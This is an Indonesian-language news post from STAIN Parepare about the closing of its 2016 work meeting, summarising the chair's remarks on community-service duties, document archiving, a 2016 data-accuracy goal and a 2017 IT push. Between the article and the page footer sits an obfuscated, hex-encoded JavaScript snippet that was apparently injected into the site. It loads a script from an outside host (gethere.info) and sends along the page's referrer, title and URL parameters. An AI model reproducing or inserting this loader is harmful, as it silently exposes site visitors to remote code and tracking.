Penutupan Rapat Kerja STAIN Parepare 2016

20 Februari, 2016 oleh
webadmin1
| No comments yet

Penutupan Rapat Kerja STAIN Parepare 2016
STAIN Parepare-Rapat Kerja STAIN Parepare Tahun 2016 yang berlangsung selama tiga hari di Aula Hotel Agro Wisata Latuppa Kota Palopo, Senin-Rabu, 15-17 Februari 2016. Di ikuti kurang lebih 60 orang, terdiri dari beberapa dosen serta perwakilan dari mahasiswa, yakni anggota senat, Ketua Jurusan, penanggungjawab Prodi, Kepala Unit serta mahasiswa yang diwakili dari (DEMA dan SEMA).

Selama proses rapat yang dilakukan setiap unit dari kampus STAIN Parepare, cukup berjalan alot dan baik, sehingga kegiatan tersebut cepat selesai dan ditutup lebih awal yang sekiranya ditutup pada rabu pagi, namun karena kegiatan berjalan dengan baik akhirnya acara ditutup pada malam rabu kemarin.

Ahmad S. Rustan selaku Ketua STAIN Parepare yang memberikan sambutan sekaligus menutup kegiatan tersebut, menyampaikan beberapa hal penting selama proses kegiatan belangsung termasuk perencanaan yang akan dilaksanakan pada tahun ini hingga tahun 2017 mendatang. mencermati proses diskusi pada tiga bagian komisi bahwa masi ada sedikit pemahaman yang perluh kita putuskan bersama, contoh ketika kita berbicara tentang pada pengabdiang masyarakat maka belum tentu semua kegiatan yang berbaur pengabdiang pada masyarakat sebagai salah darma dri tridarma perguruan tinggi itu semua harus disuport harus dikontrol oleh P3M atau pengabdiang pada masyarakat. Salah satu contoh kegiatan khutbah, khutbah ini adalah salah satu bentuk pengabdiang masyarakat, ini bisa dipertanggung jawabkan dalam salah satu beban kerja dosen. Nah, hal yang seperti ini kita tidak bebankan atau serahkan kepada P3M untuk menyusun jadwal-jadwal pengabdiang pada masyarakat. Pengabdiang seperti ini kita bisa bebankan pada Jurusan untuk meminta bukti sebagai penugasan, jadi tidak semua pengabdiang dan penelitian itu dibebankan P3M.

Kemudian satu hal yang mesti diperbaiki dalam keorganisasian STAIN Parepare, yakni Persoalan dokumentasi. Selama ini jika kita akan dilakukan akreditasi kita selalu kesulitan untuk mencari dokumen, mencari SK, artikel, ataupun hasil penelitian dosen-dosen program studi dan lain-lain sebagainya. Jadi ada baiknya jika ada suatu persyaratan bahwa setiap hasil penelitian ilmiah dari dosen ataupun mahasiswa itu didokumentasikan kepada perpustakaan. Kita berharap perpustakaan yang kita miliki ini benar-benar banyak menyimpan dokumen-dokumen ilmiah hasil pemikiran atau hasil karya dari sipitas akademik STAIN Parepare.

Selanjutnya masi ada beberapa hal yang diungkapkan oleh Ketua STAIN Parepare, mengenai perencanaan yang akan dilaksanakan mulai pada tahun 2016 ini hingga 2017 nanti. saya berharap kita jadikan tahun 2016 ini jadi tahun akuratif dan validatif data. Karena terkadang kita kesulitan mencari data dan biasa terjadi kesinpansiurang ketika orang mencari data di kampus STAIN Parepare, contoh kecilnya saja adalah jumlah mahasiswa yang tidak valid, data yang diterbitkan olehA� akademik, keuangan, serta yang ada pada masing-masing Jurusan terkadang tidak sama, sehingga terlihat memiliki tiga pariasi data. Ini karena lemahnya komunikasi yang terjadi antar bidang-bidangA� sehingga menimbulkan pariasi data yang beragam, maka saya berharap ada koordinasi yang kita lakukan, serta tahun 2016 mari jadikan tahun akuratif dan validatif data pada semua bidang yang ada pada kampus kita.

Kemudian pada tahun 2017 mendatang, saya juga berharap kita bisa jadikan tahun Information and Technology (IT) bagi STAIN Parepare, sehingga semua pelaksanaan administrasi ataupun kegiatan lainnya semua disuport oleh bagian IT. Seperti halnya buku-buku yang sudah lama yang tidak dicetak dengan menggunakan tekhnologi masa kini, agar bisa diahli mediakan, kita bisa scan dan di bentuk dalam ebook atau elektronik buku. sehingga nantinya jika buku-buku ini hilang ataupun sudah jarang ditemukan di Indonesia, kita masi bisa dapatkan di kampus ini.

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

di dalam Berita
webadmin1 20 Februari, 2016
Label
Arsip
Masuk to leave a comment